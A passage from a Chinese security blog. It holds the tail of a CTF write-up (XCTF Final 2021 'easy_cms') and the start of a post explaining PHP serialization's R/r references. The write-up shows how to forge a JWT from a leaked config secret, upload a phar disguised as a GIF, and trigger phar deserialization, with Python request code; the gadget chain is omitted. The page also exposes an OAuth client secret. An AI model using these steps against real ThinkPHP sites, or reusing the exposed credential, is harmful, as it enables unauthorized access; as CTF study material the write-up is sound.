id=\"easy-cms\"\u003eeasy_cms\u003c/h2\u003e\u003cp\u003e由于题目并没有正确配置php服务器,我们需要通过手动指定controller来访问所有页面。\u003c/p\u003e\u003cp\u003ethinkphp,那我们先来看看有什么controller呗。\u003c/p\u003e\u003cp\u003eadmin下的controller由于需要登录:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(!captcha_check(\u003cspan class=\"variable\"\u003e$data\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;verify\u0026#x27;\u003c/span\u003e]))\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e ValidateException(\u003cspan class=\"string\"\u003e\u0026#x27;验证码错误\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;checkLogin(\u003cspan class=\"variable\"\u003e$data\u003c/span\u003e))\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;success(\u003cspan class=\"string\"\u003e\u0026#x27;登录成功\u0026#x27;\u003c/span\u003e, url(\u003cspan class=\"string\"\u003e\u0026#x27;admin/Index/index\u0026#x27;\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e而服务端并没有安装图片相关拓展:\u003c/p\u003e\u003cimg src=\"/2021/05/30/Security/Writeup/XCTF-Final-2021/not_installed.png\" class=\"\"\u003e\u003cp\u003e所以登陆admin这条路基本是堵死了,也没必要继续看admin controller(当然不排除有些未认证的controller,只是这题确实没有)\u003c/p\u003e\u003cp\u003e在api 的 \u003ccode\u003eBase\u003c/code\u003e controller中我们发现有很明显的上传文件的方法,也有读取文件的方法,非常显然是让我们用phar反序列化来加载tp6的链。所以问题就在于如何登陆。我们回头看一眼路由,发现 \u003ccode\u003eBase\u003c/code\u003e controller被套了一个 \u003ccode\u003eJwtAuth\u003c/code\u003e 中间件。这一中间件取 \u003ccode\u003eAuthorization\u003c/code\u003e 请求头的值作为jwt进行验证,认证通过则取token中的uid写入当前session。\u003ccode\u003eJwtAuth\u003c/code\u003e 调用了 \u003ccode\u003eJwt\u003c/code\u003e 类,而生成 \u003ccode\u003eJwt\u003c/code\u003e 的 api controller \u003ccode\u003eCommon\u003c/code\u003e 中配置了jwt的参数:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// route.php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eRoute::rule(\u003cspan class=\"string\"\u003e\u0026#x27;Base/Upload\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;Base/Upload\u0026#x27;\u003c/span\u003e)-\u0026gt;middleware([\u003cspan class=\"string\"\u003e\u0026#x27;JwtAuth\u0026#x27;\u003c/span\u003e]); \u003cspan class=\"comment\"\u003e//图片上传;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// Common controller\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$jwt\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e -\u0026gt;setIss(config(\u003cspan class=\"string\"\u003e\u0026#x27;my.jwt_iss\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e -\u0026gt;setAud(config(\u003cspan class=\"string\"\u003e\u0026#x27;my.jwt_aud\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e -\u0026gt;setSecrect(config(\u003cspan class=\"string\"\u003e\u0026#x27;my.jwt_secrect\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e -\u0026gt;setExpTime(config(\u003cspan class=\"string\"\u003e\u0026#x27;my.jwt_expire_time\u0026#x27;\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// config/my.php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//jwt鉴权配置\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;jwt_expire_time\u0026#x27;\u003c/span\u003e =\u0026gt; \u003cspan class=\"number\"\u003e7200\u003c/span\u003e, \u003cspan class=\"comment\"\u003e//token过期时间 默认2小时\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;jwt_secrect\u0026#x27;\u003c/span\u003e =\u0026gt; \u003cspan class=\"string\"\u003e\u0026#x27;boTCfOGKwqTNKArT\u0026#x27;\u003c/span\u003e, \u003cspan class=\"comment\"\u003e//签名秘钥\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;jwt_iss\u0026#x27;\u003c/span\u003e =\u0026gt; \u003cspan class=\"string\"\u003e\u0026#x27;client.xhadmin\u0026#x27;\u003c/span\u003e, \u003cspan class=\"comment\"\u003e//发送端\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;jwt_aud\u0026#x27;\u003c/span\u003e =\u0026gt; \u003cspan class=\"string\"\u003e\u0026#x27;server.xhadmin\u0026#x27;\u003c/span\u003e, \u003cspan class=\"comment\"\u003e//接收端\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e从配置文件中拿到jwt secret,仔细过一遍认证函数,把必要的属性都给加上,再把过期时间 (\u003ccode\u003eexp\u003c/code\u003e) 调的久一些,一个jwt就伪造好了\u003c/p\u003e\u003cimg src=\"/2021/05/30/Security/Writeup/XCTF-Final-2021/fake_token.png\" class=\"\" title=\"四千年后过期的token\"\u003e\u003cp\u003e带着这个token,我们就能上传文件了:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ehost = \u003cspan class=\"string\"\u003e\u0026#x27;http://172.35.6.101:31337\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003einfo = ses.post(host+\u003cspan class=\"string\"\u003e\u0026#x27;/?s=api/Base/upload\u0026#x27;\u003c/span\u003e, headers=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;Authorization\u0026#x27;\u003c/span\u003e: \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;eyJzdWIiOiIxMjM0NTY3ODkwIiwidWlkIjoxL\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;CJpc3MiOiJjbGllbnQueGhhZG1pbiIsImF1ZC\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;I6InNlcnZlci54aGFkbWluIiwiZXhwIjoxNTE\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;2MjM5MDIyMDAsImlhdCI6MTUxNjIzOTAyMn0.\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;vbtgheHpxnrT9W4VX1ybguJ15cwYO2pbVNCvrE7FqfU\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;, files=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;file\u0026#x27;\u003c/span\u003e: (\u003cspan class=\"string\"\u003e\u0026#x27;a.gif\u0026#x27;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003eopen\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;phar.gif\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;rb\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).json()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(info)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# \u0026#123;\u0026#x27;status\u0026#x27;: \u0026#x27;200\u0026#x27;, \u0026#x27;data\u0026#x27;: \u0026#x27;/uploads/api/202105/60b3b5da99bed.gif\u0026#x27;\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e同时,上传文件的 \u003ccode\u003eupload\u003c/code\u003e 方法下面就有 \u003ccode\u003echeckFileExists\u003c/code\u003e 方法,可以用于触发 phar 反序列化:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ereq = ses.get(host, params=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;s\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;api/Base/checkFileExists\u0026#x27;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;filepath\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;phar:///var/www/html/public\u0026#x27;\u003c/span\u003e+info[\u003cspan class=\"string\"\u003e\u0026#x27;data\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 经过和出题人沟通,在比赛题目环境中必须使用绝对路径\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(req.text[-\u003cspan class=\"number\"\u003e200\u003c/span\u003e:])\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003etp6的链略,\u003ca href=\"https://lmgtfy.app\"\u003ehttps://lmgtfy.app\u003c/a\u003e\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2021/05/30/Security/Writeup/XCTF-Final-2021/"},{"title":"PHP序列化中的R与r","time":"2021-04-10T16:00:00Z","content":"\u003cblockquote\u003e\n\u003cp\u003e最近想起来 \u003ca href=\"https://github.com/frankli0324/libphpserialize\"\u003elibphpserialize\u003c/a\u003e 还有一个TODO,实现递归对象的序列化,顺手写写php序列化中\u0026quot;r\u0026qu\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e最近想起来 \u003ca href=\"https://github.com/frankli0324/libphpserialize\"\u003elibphpserialize\u003c/a\u003e 还有一个TODO,实现递归对象的序列化,顺手写写php序列化中\u0026quot;r\u0026quot;与\u0026quot;R\u0026quot;的意义\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"引用\"\u003e引用\u003c/h2\u003e\u003cp\u003e引用到底是什么?是一个指针的语法糖么?是一个指针对象指向了另一个对象?\u003cbr\u003e我更愿意将其理解为一个 \u003cem\u003e\u003cstrong\u003e更加\u003c/strong\u003e\u003c/em\u003e 抽象的概念。\u003cbr\u003e要理解这个概念首先需要将“对象”和“引用”两个概念剥离开来,跳出“具体实现”的桎梏。\u003c/p\u003e\u003chr\u003e\u003cp\u003e我们手里拿着一个数据的“引用”时,我们并没有在拿这个数据本身。\u003cbr\u003e我们对其解引用(deference)时我们就拿到了真实的对象本身。\u003c/p\u003e\u003cimg src=\"/2021/04/11/Security/php-src/PHP-Serialize-tips/reference_dark.png\" class=\"\"\u003e\u003cp\u003e听起来非常的指针。其实不然,指针没有这么抽象,指针存在于C语言中,它存在的意义并没有这么抽象。我们平时说指针“指向了一个对象”实际上是我们自己不知不觉间对其进行了更高层级的抽象,让它“成为了”我们脑海中对另一个对象的引用。实际上没这么复杂,它本初存在的意义就是为了存一个地址。\u003c/p\u003e\u003cimg src=\"/2021/04/11/Security/php-src/PHP-Serialize-tips/pointer_dark.png\" class=\"\"\u003e\u003cp\u003e像我们常用的Python,Java等直接操作引用的语言,将我们的对象全部藏了起来,给到我们手里的全部都是引用。当我们对这些对象进行操作的时候神の手(Kami no te)帮我们进行了一次解引用,再对对象进行了一系列操作。\u003c/p\u003e\u003cimg src=\"/2021/04/11/Security/php-src/PHP-Serialize-tips/operation_dark.png\" class=\"\"\u003e\u003cp\u003e理解了这一点,我们就能轻松地理解PHP序列化字符串中R与r的区别。\u003c/p\u003e\u003ch2 id=\"prologue\"\u003eprologue\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e既然打了 \u003ccode\u003ephp-src\u003c/code\u003e 的tag,就引用一下源码8\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e在php中,反序列化的实现主要存在与 \u003ccode\u003eext/standard/var_unserializer.re\u003c/code\u003e 中。建议先打开这个文件放到一边再往下看。\u003cbr\u003e这一文件利用\u003ca href=\"https://github.com/skvadrik/re2c\"\u003ere2c\u003c/a\u003e进行了代码生成。\u003cbr\u003ere2c的作用,简而言之,就是将正则转换为一个goto模样的\u003cstrong\u003e确定\u003c/strong\u003e有限状态自动机,以供编译。这样能够实现 \u003cem\u003e\u003cstrong\u003e类似\u003c/strong\u003e\u003c/em\u003e 很多其它语言支持的模式匹配的效果。PHP中很多地方都用到了re2c。\u003c/p\u003e\u003cp\u003e我们先对php中反序列化的流程大致熟悉一下,标蓝色的地方是处理R与r的code block行数(php 7.4.6)\u003cbr\u003e由于右侧的图比较糊,建议自己生成一份看:\u003cbr\u003e\u003ccode\u003ere2c -D -8 ext/standard/var_unserializer.re | dot -Tpng -o output.png\u003c/code\u003e\u003c/p\u003e\u003cimg src=\"/2021/04/11/Security/php-src/PHP-Serialize-tips/call_graph_dark.png\" class=\"\"\u003e\u003cp\u003e下文中都会以反序列化的代码来说明问题。看完了反序列化的代码再看序列化(\u003ccode\u003eext/standard/var.c\u003c/code\u003e)会发现其实它们的结构逻辑都是非常类似的。博客里就不多说了。\u003c/p\u003e\u003ch2 id=\"R与r\"\u003eR与r\u003c/h2\u003e\u003cp\u003e当两个对象本来就是同一个对象时后出现的对象将会以小写r表示。\u003cbr\u003e不过基础类型不受此条件限制,总是会被序列化\u003c/p\u003e\u003cdiv class='spoiler collapsed'\u003e \u003cdiv class='spoiler-title'\u003e 为什么?(看完“分析”以后再看这里) \u003c/div\u003e \u003cdiv class='spoiler-content'\u003e \u003cp\u003e.\u003cbr\u003e还记得\u003ccode\u003evar_hash-\u0026gt;last\u003c/code\u003e么?\u003cbr\u003e在序列化过程中,与\u003ccode\u003evar_push\u003c/code\u003e作用类似的函数长这样\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003einline\u003c/span\u003e zend_long \u003cspan class=\"title\"\u003ephp_add_var_hash\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003ephp_serialize_data_t\u003c/span\u003e data, zval *var)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!is_ref \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003eZ_TYPE_P\u003c/span\u003e(var) != IS_OBJECT) \u0026#123; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 因为这里\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ( existed ) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e index;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e add_new \u0026amp;\u0026amp; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中判断了对象\u003ccode\u003eIS_OBJECT\u003c/code\u003e,而\u003ccode\u003ezval\u003c/code\u003e常规类型有下列几种:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eIS_UNDEF\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIS_NULL\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIS_FALSE\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIS_TRUE\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIS_LONG\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIS_DOUBLE\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIS_STRING\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIS_ARRAY\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIS_OBJECT\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIS_RESOURCE\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIS_REFERENCE\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"built_in\"\u003estdClass\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;b = \u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e serialize(\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// O:8:\u0026quot;stdClass\u0026quot;:2:\u0026#123;s:1:\u0026quot;a\u0026quot;;i:1;s:1:\u0026quot;b\u0026quot;;i:1;\u0026#125; // 基础类型\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$y\u003c/span\u003e = \u003cspan 